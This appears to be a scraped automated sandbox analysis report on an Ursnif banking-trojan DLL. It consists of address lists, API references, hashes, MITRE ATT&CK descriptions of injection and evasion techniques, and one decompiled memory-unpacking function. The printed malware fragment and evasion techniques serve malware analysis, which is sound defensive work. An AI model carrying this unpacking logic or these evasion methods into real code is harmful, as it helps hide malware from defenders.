0x02fe68ae
0x02fe68b1
0x02fe68bd
0x02fe68c4
0x02fe68cd
0x02fe68d0
0x02fe68d3
0x02fe68e0
0x02fe68e4
0x02fe68e7
0x02fe68f0
0x02fe68f7
0x02fe6900
0x02fe6901
0x02fe6904
0x02fe6907
0x02fe6913
0x02fe6916
0x02fe6919
0x02fe6926
0x02fe692f
0x02fe6939
0x02fe693c
0x02fe6945
0x02fe6951
0x02fe6954
0x02fe6960
0x02fe6968
0x02fe696c
0x02fe6971
0x02fe6972
0x02fe697d
0x02fe697f
0x02fe6984
0x02fe6986
0x02fe698d
0x02fe6990
0x02fe6993
0x02fe699a
0x02fe699d
0x02fe69a0
0x02fe69a6
0x02fe69ae
0x02fe69b5
0x02fe69bb
0x02fe69c0
0x02fe69c3
0x02fe69c6
0x02fe69cd
0x02fe69d0
0x02fe69d6
0x02fe69d9
0x02fe69e0
0x02fe69e4
0x02fe69e7
0x02fe69f0
0x02fe69f3
0x02fe69fb
0x02fe6a02
0x02fe6a08
0x02fe6a0b
0x02fe6a0e
0x02fe6a13
0x02fe6a1a
0x02fe6a1e
0x02fe6a24
0x02fe6a27
0x02fe6a30
0x02fe6a33
0x02fe6a3f
0x02fe6a46
0x02fe6a4f
0x02fe6a52
0x02fe6a56
0x02fe6a5d
0x02fe6a64
0x02fe6a67
0x02fe6a6e
0x02fe6a72
0x02fe6a75
0x02fe6a7c
0x02fe6a80
0x02fe6a83
0x02fe6a8a
0x02fe6a8d
0x02fe6a90
0x02fe6a9f
0x02fe6aa6
0x02fe6aa9
0x02fe6aac
0x02fe6aaf
0x02fe6ab0
0x02fe6ab3
0x02fe6abe
0x02fe6ac0
0x02fe6ac3
0x02fe6ac5
0x02fe6acc
0x02fe6acf
0x02fe6ad2
0x02fe6ad9
0x02fe6adc
0x02fe6adf
0x02fe6ae5
0x02fe6aec
0x02fe6af2
0x02fe6af2
0x02fe6af5
0x02fe6af8
0x02fe6afc
0x02fe6aff
0x02fe6b02
0x02fe6b09
0x02fe6b0c
0x02fe6b0f
0x02fe6b17
0x02fe6b1e
0x02fe6b24
0x02fe6b25
0x02fe6b2c
0x02fe6b2f
0x02fe6b35
0x02fe6b3f
0x02fe6b42
0x02fe6b49
0x02fe6b4c
0x02fe6b4f
0x02fe6b55
0x02fe6b5c
0x02fe6b62
0x02fe6b65
0x02fe6b6b
0x02fe6b71
0x02fe6b7b
0x02fe6b7e
0x02fe6b85
0x02fe6b88
0x02fe6b8b
0x02fe6b91
0x02fe6b99
0x02fe6ba0
0x02fe6ba6
0x02fe6ba6
0x02fe6baf
0x02fe6bb5
0x02fe6bbb
0x02fe6bc5
0x02fe6bc8
0x02fe6bcf
0x02fe6bd2
0x02fe6bd5
0x02fe6bdb
0x02fe6be2
0x02fe6be8
0x02fe6bf4
0x02fe6bf6
0x02fe6bf7
0x02fe6bfd
0x02fe6c07
0x02fe6c0a
0x02fe6c10
0x02fe6c17
0x02fe6c20
0x02fe6c21
0x02fe6c24
0x02fe6c27
0x02fe6c2d
0x02fe6c30
0x02fe6c33
0x02fe6c3a
0x02fe6c3d
0x02fe6c40
0x02fe6c46
0x02fe6c4d
0x02fe6c50
0x02fe6c59
0x02fe6c5c
0x02fe6c6b
0x02fe6c72
0x02fe6c75
0x02fe6c78
0x02fe6c7b
0x02fe6c7c
0x02fe6c7d
0x02fe6c88
0x02fe6c8a
0x02fe6c8f
0x02fe6c91
0x02fe6c98
0x02fe6c9b
0x02fe6c9e
0x02fe6ca5
0x02fe6ca9
0x02fe6cac
0x02fe6cac
0x02fe6cb4
0x02fe6cbb
0x02fe6cc2
0x02fe6ccc
0x02fe6ccf
0x02fe6cd5
0x02fe6cdc
0x02fe6cdf
0x02fe6ce8
0x02fe6ceb
0x02fe6cf1
0x02fe6cf8
0x02fe6cfb
0x02fe6d06
0x02fe6d09
0x02fe6d10
0x02fe6d11
0x02fe6d14
0x02fe6d15
0x02fe6d1b
0x02fe6d1e
0x02fe6d21
0x02fe6d24
0x02fe6d26
0x02fe6d2d
0x02fe6d30
0x02fe6d33
0x02fe6d39
0x02fe6d40
0x02fe6d43
0x02fe6d43
0x02fe6d49
0x02fe6d51
0x02fe6d58
0x02fe6d63
0x02fe6d6b
0x02fe6d6d
0x02fe6d6f
0x02fe6d73
0x02fe6d76
0x02fe6d7c
0x02fe6d86
0x02fe6d89
0x02fe6d90
0x02fe6d93
0x02fe6d96
0x02fe6d9c
0x02fe6da4
0x02fe6dab
0x02fe6db1
0x02fe6dba
0x02fe6dc4
0x02fe6dc5
0x02fe6dc8
0x02fe6dcb
0x02fe6dce
0x02fe6dcf
0x02fe6dd0
0x02fe6dda
0x02fe6ddd
0x02fe6de4
0x02fe6de8
0x02fe6deb
0x02fe6df1
0x02fe6dfb
0x02fe6dfe
0x02fe6e06
0x02fe6e0d
0x02fe6e13
0x02fe6e16
0x02fe6e19
0x02fe6e1c
0x02fe6e20
0x02fe6e24
0x02fe6e27
0x02fe6e2e
0x02fe6e31
0x02fe6e34
0x02fe6e3b
0x02fe6e3e
0x02fe6e41
0x02fe6e48
0x02fe6e4b
0x02fe6e4e
0x02fe6e5a
0x02fe6e62
0x02fe6e66
0x02fe6e6b
0x02fe6e6c
0x02fe6e72
0x02fe6e75
0x02fe6e78
0x02fe6e7b
0x02fe6e7d
0x02fe6e84
0x02fe6e87
0x02fe6e8a
0x02fe6e91
0x02fe6e94
0x02fe6e97
0x02fe6e9d
0x02fe6ea4
0x02fe6eaa
0x02fe6eaa
0x02fe6eb9
0x02fe6ec8
0x02fe6ec9
0x02fe6ec9
0x02fe6ec9
0x02fe6ed4
0x02fe6ed7
0x02fe6ee0
0x02fe6ee2
0x02fe6ee3
0x02fe6ee3
0x02fe6ee3
0x02fe6eec
0x02fe6eef
0x02fe6efe
0x02fe6f07
0x02fe6f0a
0x02fe6f0d
0x02fe6f10
0x02fe6f11
0x02fe6f14
0x02fe6f1b
0x02fe6f21
0x02fe6f22
0x02fe6f31
0x02fe6f33
0x02fe6f39
0x02fe6f3b
0x02fe6f3c
0x02fe6f40
0x02fe6f43
0x02fe6f4b
0x02fe6f4e
0x02fe6f4e
0x02fe6f61
0x02fe6f68

APIs

VirtualProtect.KERNELBASE(?,?,00000000), ref: 02FE6B65

Strings

@, xrefs: 02FE6919

Memory Dump Source

Source File: 00000004.00000002.305777237.0000000002FE0000.00000040.00000001.sdmp, Offset: 02FE0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: e3a9c6ea61c00cc81b1a5d83aebcf195b976bb1f49792d5017640c232ad13903
Instruction ID: e174be015d44d9a2a27fcbf33d2561fb8cf18bf08a36f5ad637d4b38425f0eb4
Opcode Fuzzy Hash: e3a9c6ea61c00cc81b1a5d83aebcf195b976bb1f49792d5017640c232ad13903
Instruction Fuzzy Hash: 26622572844608EFEB04DFA4C8C57AEBBF5FF48320F0A896DD895AA145D7341164CF59

Uniqueness

Uniqueness Score: -1.00%

Function 02FE709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E02FE709D(signed int __ebx, long __ecx, void* __edx, void* __edi, long __esi, void* __eflags) {
				void* _t47;
				signed int _t48;
				signed int _t49;
				void* _t51;
				void* _t52;
				void* _t54;
				void* _t55;
				signed int _t59;
				long _t60;
				void* _t62;
				void* _t65;
				void* _t67;
				signed int _t68;
				void* _t72;
				signed int _t75;
				signed int _t78;
				void* _t81;
				signed int _t82;
				long _t87;
				signed int _t89;
				long _t94;
				void* _t97;
				void* _t99;
				long _t101;
				void* _t102;

				_t87 = __esi;
				_t79 = __edi;
				_t72 = __edx;
				_t59 = __ebx;
				 *_t101 = 0xffff0000;
				_t48 = E02FE2D42(_t47, __ebx, __ecx, __edx, __edi, __esi, __edi);
				 *_t101 =  *_t101 | _t59;
				_t60 = _t59;
				if( *_t101 != 0) {
					 *_t101 =  *_t101 + 4;
					 *_t101 =  *_t101 - _t94;
					 *_t101 =  *_t101 + 0x1000;
					 *_t101 =  *_t101 - _t60;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c22f));
					_t48 = VirtualAlloc(0, __ecx, _t60, _t94);
				}
				 *(_t94 - 8) = 0;
				_push( *(_t94 - 8));
				 *_t101 =  *_t101 ^ _t48;
				_pop( *_t6);
				 *(_t60 + 0x41c60a) = 2;
				 *_t101 = _t94;
				 *(_t60 + 0x41d10e) = _t48;
				_t97 = 0;
				if( *(_t60 + 0x41c166) > 0) {
					_t55 = _t60 + 0x41c60a;
					 *(_t97 - 4) =  *(_t97 - 4) & 0x00000000;
					 *_t101 = _t55 +  *_t101;
					 *_t101 = 0x40;
					_t87 =  *_t101;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c627));
					 *_t101 =  *(_t60 + 0x41c166);
					VirtualProtect(_t55, _t87, _t101,  *(_t97 - 4));
				}
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
				_t89 = _t87;
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41ceca));
				_t99 = _t97;
				_t49 = E02FE746C(_t60, _t72, _t79, _t89);
				_push( *((intOrPtr*)(_t60 + 0x41c627)));
				_pop( *_t24);
				_push( *(_t99 - 8));
				_pop(_t62);
				 *_t101 = _t62;
				_t65 = 0;
				_t67 = 0 ^  *(_t60 + 0x41c166) | 0 ^  *(_t60 + 0x41c166);
				_t81 = _t67;
				_t68 = _t65;
				if(_t67 != 0) {
					 *(_t99 - 8) = 0;
					 *_t101 =  *_t101 ^ _t81;
					_t49 = E02FE2A69(_t49, _t60, _t68, _t72, _t81, _t89,  *(_t99 - 8));
				}
				_t75 = _t72;
				_t51 = memset(_t81, _t49 ^ _t49, _t68 << 0);
				_t102 = _t101 + 0xc;
				_t82 = _t81 + _t68;
				if( *((intOrPtr*)(_t60 + 0x41c3f9)) != _t60) {
					_push(0);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t82 = _t82; // executed
					_t52 = E02FE5F16(_t51, _t60, 0, _t75, _t82, _t89); // executed
					_push(_t52);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t54 = _t52;
					_t51 = E02FE8F3B(_t54, _t60, 0, _t75, _t82, _t89);
				}
				 *(_t99 - 4) = _t82;
				 *(_t102 + 0x14) = _t75 & 0x00000000 | _t82 ^  *(_t99 - 4) |  *(_t60 + 0x41d140);
				 *_t41 =  *(_t60 + 0x41d140);
				_t78 =  *(_t99 - 8);
				_push(_t89);
				 *(_t99 + 4) =  *(_t99 + 4) & 0x00000000;
				 *(_t99 + 4) =  *(_t99 + 4) ^ _t89 & 0x00000000 ^ _t78;
				asm("popad");
				return _t51;
			}

0x02fe709d
0x02fe709d
0x02fe709d
0x02fe709d
0x02fe709e
0x02fe70a5
0x02fe70ab
0x02fe70ae
0x02fe70af
0x02fe70b2
0x02fe70b6
0x02fe70ba
0x02fe70c1
0x02fe70cb
0x02fe70d0
0x02fe70d0
0x02fe70d6
0x02fe70dd
0x02fe70e0
0x02fe70e3
0x02fe70e9
0x02fe70f5
0x02fe70fc
0x02fe7102
0x02fe710a
0x02fe710c
0x02fe7112
0x02fe7119
0x02fe711d
0x02fe712b
0x02fe712b
0x02fe7135
0x02fe7138
0x02fe7138
0x02fe713e
0x02fe7146
0x02fe714a
0x02fe714b
0x02fe7153
0x02fe7157
0x02fe7158
0x02fe715d
0x02fe7163
0x02fe7166
0x02fe7169
0x02fe716c
0x02fe7179
0x02fe717d
0x02fe717f
0x02fe7181
0x02fe7182
0x02fe7184
0x02fe718e
0x02fe7191
0x02fe7191
0x02fe719d
0x02fe719e
0x02fe719e
0x02fe719e
0x02fe71a6
0x02fe71a8
0x02fe71b0
0x02fe71b4
0x02fe71b5
0x02fe71ba
0x02fe71c2
0x02fe71c6
0x02fe71c7
0x02fe71c7
0x02fe71cc
0x02fe71e0
0x02fe71ea
0x02fe71f0
0x02fe71f1
0x02fe71f7
0x02fe71fb
0x02fe71ff
0x02fe7201

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 02FE70D0
VirtualProtect.KERNELBASE(?,?,?,?,00000000), ref: 02FE7138

Memory Dump Source

Source File: 00000004.00000002.305777237.0000000002FE0000.00000040.00000001.sdmp, Offset: 02FE0000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction ID: 23626e8e9d88b7d5b5f8cc6bc60fc2ee08c53c27802fe3cc53cb1dacc68eb000
Opcode Fuzzy Hash: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction Fuzzy Hash: D4419F72904204EFEF05AF50CC84BAEBBF5EF88750F05845DED89AB245C7741950CB69

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report O2U2nEYAZO.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 6004 Parent PID: 5700

General

Chronological Activities

Analysis Process: cmd.exe PID: 4952 Parent PID: 6004

General

Chronological Activities

Analysis Process: rundll32.exe PID: 5492 Parent PID: 6004

Function 00E95F16, Relevance: 2.8, APIs: 1, Instructions: 1269
memoryCOMMONCrypto

Function 00E9709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Function 00E91B1E, Relevance: 1.4, Strings: 1, Instructions: 109
COMMONCrypto

Function 00E93A14, Relevance: .9, Instructions: 925
COMMONCrypto

Function 00E931B3, Relevance: .6, Instructions: 646
COMMONCrypto

Function 00E93FAB, Relevance: .6, Instructions: 566
COMMONCrypto

Function 00E91CD0, Relevance: .6, Instructions: 565
COMMONCrypto

Function 00E943D8, Relevance: .4, Instructions: 371
COMMONCrypto

Function 00E92FAF, Relevance: .2, Instructions: 210
COMMONCrypto

Function 00E92A69, Relevance: .2, Instructions: 161
COMMONCrypto

Function 00E9150C, Relevance: .1, Instructions: 104
COMMONCrypto

Function 00E91967, Relevance: .1, Instructions: 101
COMMONCrypto

Function 00E9510C, Relevance: .1, Instructions: 98
COMMONCrypto

Function 00E988BA, Relevance: .1, Instructions: 95
COMMONCrypto

Function 00E927D4, Relevance: .1, Instructions: 93
COMMONCrypto

Function 00E913C5, Relevance: .1, Instructions: 90
COMMONCrypto

Function 00E92566, Relevance: .1, Instructions: 84
COMMONCrypto

Function 00E992B2, Relevance: .1, Instructions: 78
COMMONCrypto

Function 02FE5F16, Relevance: 4.8, APIs: 1, Strings: 1, Instructions: 1269
memoryCOMMONCrypto

Function 02FE66BA, Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 675
memoryCOMMONCrypto

Function 02FE709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON